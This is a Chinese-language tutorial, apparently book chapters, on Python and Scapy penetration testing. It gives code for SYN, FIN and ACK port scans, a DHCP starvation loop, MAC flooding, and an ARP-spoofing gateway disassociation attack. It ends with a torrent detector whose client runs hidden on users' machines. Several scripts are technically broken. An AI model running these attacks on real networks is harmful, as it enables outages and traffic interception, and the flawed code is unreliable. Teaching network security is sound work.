半開放掃描和 FIN 掃描是滲透測試中常用的埠掃描技術,它們各有優缺點,適用於不同的場景。半開放掃描可以有效規避防火牆的檢測,但容易被入侵檢測系統發現。FIN 掃描則更為隱蔽,但部分系統的實作可能導致結果不準確。瞭解這兩種技術的原理和使用方法,對於滲透測試人員來說至關重要。此外,文章還介紹瞭如何使用 Scapy 函式庫自定義封包,這對於進行更進階的網路攻擊和防禦至關重要。透過理解這些技術,可以更好地評估目標系統的安全性,並採取相應的防禦措施。
半開放掃描技術在滲透測試中的應用
半開放掃描(Half-Open Scan),又稱隱蔽掃描(Stealth Scan),是一種特殊的掃描技術,用於繞過防火牆規則和避免被日誌系統檢測到。這種掃描技術透過自定義封包來實作。
半開放掃描的運作原理
半開放掃描的步驟如下:
- 使用者端向伺服器的指定埠傳送一個SYN封包。
- 如果該埠開放,伺服器會回應一個SYN-ACK封包。
- 如果伺服器回應一個RST封包,則表示該埠已關閉。
- 使用者端傳送RST封包以關閉連線初始化。
使用Scapy實作半開放掃描
Scapy是一個第三方函式庫,允許使用者建立自定義封包。下面是一個簡單的程式碼範例:
from scapy.all import *
# 定義IP封包
ip = IP(src="192.168.0.10", dst="192.168.0.3")
# 定義TCP封包
tcp = TCP(sport=1024, dport=80, flags="S", seq=12345)
# 組合IP和TCP封包
packet = ip/tcp
# 傳送並接收封包
response = sr1(packet, timeout=1)
# 顯示接收到的封包
response.show()
# 傳送RST封包關閉連線
rst_packet = IP(src="192.168.0.10", dst="192.168.0.3")/TCP(sport=1024, dport=80, flags="R", seq=12346)
rst_packet.send(rst_packet)
程式碼解析:
from scapy.all import *:匯入Scapy的所有模組。ip = IP(src="192.168.0.10", dst="192.168.0.3"):定義IP封包,包含源和目的IP地址。tcp = TCP(sport=1024, dport=80, flags="S", seq=12345):定義TCP封包,包含源和目的埠、SYN旗標和序列號。packet = ip/tcp:組合IP和TCP封包。response = sr1(packet, timeout=1):傳送並接收封包,超時時間設為1秒。response.show():顯示接收到的封包內容。rst_packet = IP(src="192.168.0.10", dst="192.168.0.3")/TCP(sport=1024, dport=80, flags="R", seq=12346):定義RST封包以關閉連線。rst_packet.send(rst_packet):傳送RST封包。
FIN掃描
FIN掃描是一種特殊的掃描技術,透過傳送只有FIN旗標的TCP封包來檢測遠端主機的埠狀態。如果沒有收到回應,則表示該埠開放;如果收到回應且包含RST-ACK旗標,則表示該埠關閉。
FIN掃描的程式碼實作
from scapy.all import *
# 定義IP封包
ip = IP(src="192.168.0.10", dst="192.168.0.3")
# 定義TCP封包,設定FIN旗標
tcp = TCP(sport=1024, dport=80, flags="F", seq=12345)
# 組合IP和TCP封包
packet = ip/tcp
# 傳送並接收封包
response = sr1(packet)
# 顯示接收到的封包
response.show()
程式碼解析:
- 設定FIN旗標以進行FIN掃描。
- 傳送並接收封包,根據回應判斷埠狀態。
網路嗅探與滲透測試章節重點整理
FIN 旗標掃描技術詳解
FIN 旗標掃描是一種特殊的掃描技術,用於探測目標主機的連線埠狀態。其運作原理是傳送一個設定了 FIN 旗標的 TCP 封包到目標連線埠。若目標連線埠是關閉狀態,系統會回應一個 RST 封包;若連線埠是開啟狀態,大多數系統不會回應任何訊息。
程式碼實作解析
from scapy.all import IP, TCP, send
# 設定 IP 層引數
ip = IP(src='192.168.0.11', dst='192.168.0.10')
# 設定 TCP 層引數
tcp = TCP(sport=1234, dport=80, flags='F', seq=12345)
# 組合封包並傳送
packet = ip / tcp
send(packet)
內容解密:
- 使用 Scapy 函式庫建立 IP 層和 TCP 層的封包物件
- 設定來源 IP 為
192.168.0.11,目標 IP 為192.168.0.10 - 設定 TCP 的來源連線埠為
1234,目標連線埠為80(HTTP) - 設定 FIN 旗標並指定序列號
- 使用
/運算元組合 IP 層和 TCP 層的封包 - 使用
send()函式傳送封包
ACK 旗標掃描技術詳解
ACK 旗標掃描主要用於判斷目標主機是否受到防火牆的保護。其運作原理是傳送一個設定了 ACK 旗標的探測封包。若沒有回應,表示連線埠被過濾(可能存在狀態檢測防火牆);若收到 RST 回應,表示連線埠未被過濾。
程式碼實作解析
from scapy.all import IP, TCP, send
# 設定 IP 層引數
ip = IP(src='192.168.0.11', dst='192.168.0.10')
# 設定 TCP 層引數
tcp = TCP(sport=1024, dport=256, flags='A', seq=123456)
# 組合封包並傳送
packet = ip / tcp
send(packet)
內容解密:
- 建立 ACK 旗標掃描封包
- 設定來源連線埠為
1024,目標連線埠為256 - 設定 ACK 旗標並指定序列號
- 傳送封包並觀察是否有回應
防火牆測試與回應分析
當存在防火牆時,ACK 探測封包通常不會收到回應。透過嗅探器可以觀察到實際的網路回應,從而判斷防火牆的存在。
下一章預告
在下一章「網路攻擊與防禦」中,我們將探討不同型別的網路攻擊及其防禦方法,包括:
- DHCP 窮竭攻擊原理與實作
- 交換器 MAC flooding 攻擊技術
- 閘道器解除關聯攻擊實務
- BT 下載偵測技術探討
這些主題對於網路管理員和滲透測試人員具有重要參考價值。
網路攻擊與防禦 第四章
DHCP 攻擊與防禦
在前面的章節中,我們已經瞭解了 DHCP 協定的基本工作原理。現在,我們將探討如何利用 Scapy 來進行 DHCP 攻擊,並分析其背後的原理。
DHCP 攻擊原理
DHCP 攻擊的核心在於偽造 DHCP 請求封包,以耗盡 DHCP 伺服器的 IP 位址資源,或者幹擾正常的網路連線。首先,我們來看看如何使用 Scapy 來傳送偽造的 DHCP 請求封包。
from scapy.all import *
import time
import struct
# 建立原始 socket 以接收 IP 封包
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
s.bind(("eth0", 0x0800))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
i = 0
while True:
# 使用 Scapy 建立 Ethernet 和 IP 封包
eth1 = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
ip1 = IP(src="0.0.0.0", dst="255.255.255.255")
# 建立 UDP 和 BOOTP 封包
udp1 = UDP(sport=68, dport=67)
bootp1 = BOOTP(chaddr=RandString(12, "0123456789abcdef"))
# 建立 DHCP discover 和 DHCP request 封包
dhcp1 = DHCP(options=[("message-type", "discover"), "end"])
dhcp2 = DHCP(options=[("message-type", "request"), "end"])
dhcp_discover = eth1/ip1/udp1/bootp1/dhcp1
dhcp_discover["BOOTP"].xid = 0x12345678
# 傳送 DHCP discover 封包並接收回應
send(dhcp_discover)
pkt = s.recvfrom(4096)
num = pkt[0][42:46]
ip_length = int(num.hex(), 16)
ip_last_range = 43 + ip_length
ip_server = pkt[0][26:30].hex()
print("Obtained IP:", ip_server)
server_ip = pkt[0][26:30].hex()
dhcp_server = struct.unpack("!I", pkt[0][26:30])[0]
obtained_ip = struct.unpack("!I", pkt[0][16:20])[0]
# 建立 DHCP request 封包
print("Obtained IP:", obtained_ip)
print("DHCP Server IP:", dhcp_server)
dhcp_request = eth1/ip1/udp1/bootp1/dhcp2
dhcp_request["BOOTP"].xid = 0x12345678
dhcp_request["DHCP"].options.append(("requested_addr", obtained_ip))
dhcp_request["DHCP"].options.append(("server_id", dhcp_server))
dhcp_request["DHCP"].options.append(("hostname", "master"))
dhcp_request["DHCP"].options.append(("param_req_list", [1, 3, 6, 12, 15, 28, 51, 53, 54, 58, 59, 60]))
dhcp_request["DHCP"].options.append("end")
# 傳送 DHCP request 封包
send(dhcp_request)
time.sleep(0.5)
程式碼解析:
- 建立原始 socket:使用
socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)建立原始 socket 以接收 IP 封包。 - 建立 DHCP discover 封包:使用 Scapy 建立 Ethernet、IP、UDP、BOOTP 和 DHCP discover 封包。
- 傳送 DHCP discover 封包並接收回應:傳送 DHCP discover 封包並使用原始 socket 接收 DHCP offer 回應。
- 解析 DHCP offer 回應:從回應封包中提取出分配的 IP 位址和 DHCP 伺服器的 IP 位址。
- 建立 DHCP request 封包:使用提取出的資訊建立 DHCP request 封包,並新增必要的選項,如
requested_addr和server_id。 - 傳送 DHCP request 封包:傳送偽造的 DHCP request 封包,以完成 DHCP 連線過程。
MAC Flooding 攻擊
MAC Flooding 攻擊是另一種網路攻擊手段,透過向交換器傳送大量的偽造 MAC 位址請求,使交換器的 CAM 表被填滿,從而導致交換器像集線器一樣將所有封包廣播到所有埠,進而使攻擊者能夠攔截網路通訊。
from scapy.all import *
# 輸入要傳送的封包數量
num = int(input("Enter the number of packets: "))
interface = input("Enter the interface: ")
# 建立 Ethernet 和 ARP 封包
eth_pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
arp_pkt = ARP(pdst="192.168.1.1", hwdst="ff:ff:ff:ff:ff:ff")
try:
# 傳送 ARP 請求封包
sendp(eth_pkt/arp_pkt, iface=interface, count=num)
except:
print("Destination Unreachable")
程式碼解析:
- 輸入引數:輸入要傳送的封包數量和網路介面。
- 建立 Ethernet 和 ARP 封包:使用 Scapy 建立帶有隨機 MAC 位址的 Ethernet 和 ARP 請求封包。
- 傳送 ARP 請求封包:使用
sendp傳送 ARP 請求封包到指定的網路介面。
網路攻擊與防禦 Chapter 4
MAC 洪泛攻擊與防禦
MAC 洪泛攻擊旨在檢測交換機的安全性。若攻擊成功,則在報告中標記為成功。為了減輕 MAC 洪泛攻擊,使用埠安全(port security)。埠安全限制了僅允許特定 MAC 位址或有限數量的 MAC 位址進行通訊,從而有效防止 MAC 洪泛攻擊。
閘道器解除關聯攻擊(Gateway Disassociation by RAW Socket)
在此攻擊中,受害者仍保持與閘道器的連線,但無法與外部網路進行通訊。簡單來說,受害者仍連線到路由器,但無法瀏覽網際網路。該攻擊的原理與 ARP 快取投毒(ARP cache poisoning)相同。攻擊者會向受害者傳送 ARP 回覆封包,修改受害者 ARP 快取中閘道器的 MAC 位址為另一個 MAC 位址。同樣地,也會對閘道器進行相同的操作。
程式碼實作
import socket
import struct
# 設定必要的引數
victim_ip = '192.168.1.100'
gateway_ip = '192.168.1.1'
fake_mac = b'\x00\x11\x22\x33\x44\x55'
# 建立原始通訊端
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.bind(('192.168.1.101', 0))
# 建構 ARP 回覆封包
packet = struct.pack('!HHBBH', 0x0001, 0x0800, 0x06, 0x04, 0x0002)
packet += fake_mac + socket.inet_aton(gateway_ip) + socket.inet_aton(victim_ip)
# 傳送 ARP 回覆封包
s.sendto(packet, (victim_ip, 0))
內容解密:
import socket和import struct:匯入必要的模組,socket用於建立網路連線,struct用於處理二進位資料。victim_ip、gateway_ip和fake_mac:定義受害者 IP、閘道器 IP 和偽造的 MAC 位址。s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW):建立原始通訊端,用於傳送自訂的 IP 封包。packet = struct.pack(...):建構 ARP 回覆封包,包含 Ethernet 和 ARP 頭部資訊。s.sendto(packet, (victim_ip, 0)):將建構好的 ARP 回覆封包傳送給受害者。
種子下載偵測
種子下載(torrent)是網路管理員的一大困擾,因為它會佔用大量頻寬。本文將介紹如何使用 Python 程式來偵測種子下載。
程式設計概念
該程式根據客戶端-伺服器架構。伺服器端程式執行在管理員的機器上,客戶端程式則在使用者機器上以隱藏模式執行。當使用者使用種子下載時,客戶端程式會通知伺服器。
伺服器端程式碼
import socket
import logging
# 設定日誌記錄
logging.basicConfig(filename='torrent_detection.log', level=logging.INFO)
# 建立 UDP 通訊端
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('192.168.1.101', 6666))
while True:
try:
data, addr = s.recvfrom(1024)
logging.info(data.decode())
except KeyboardInterrupt:
s.close()
sys.exit()
內容解密:
import socket和import logging:匯入必要的模組,socket用於建立網路連線,logging用於日誌記錄。logging.basicConfig(...):設定日誌記錄的檔案名稱和等級。s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM):建立 UDP 通訊端,用於接收客戶端的訊息。while True迴圈:持續監聽客戶端的訊息,並將收到的訊息記錄到日誌檔案中。
使用者端程式碼
import os
import time
import socket
# 設定伺服器 IP 和埠號
server_ip = '192.168.1.101'
server_port = 6666
while True:
try:
# 檢查目前執行的程式列表中是否有種子下載程式
response = os.popen('tasklist').read()
if 'torrent' in response.lower():
# 建立 UDP 通訊端並傳送訊息給伺服器
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto('Torrent detected'.encode(), (server_ip, server_port))
time.sleep(60) # 每隔一段時間檢查一次
except Exception as e:
pass
內容解密:
import os、import time和import socket:匯入必要的模組。server_ip和server_port:定義伺服器的 IP 和埠號。while True迴圈:持續檢查目前執行的程式列表中是否有種子下載程式。s.sendto(...):如果偵測到種子下載程式,則傳送訊息給伺服器。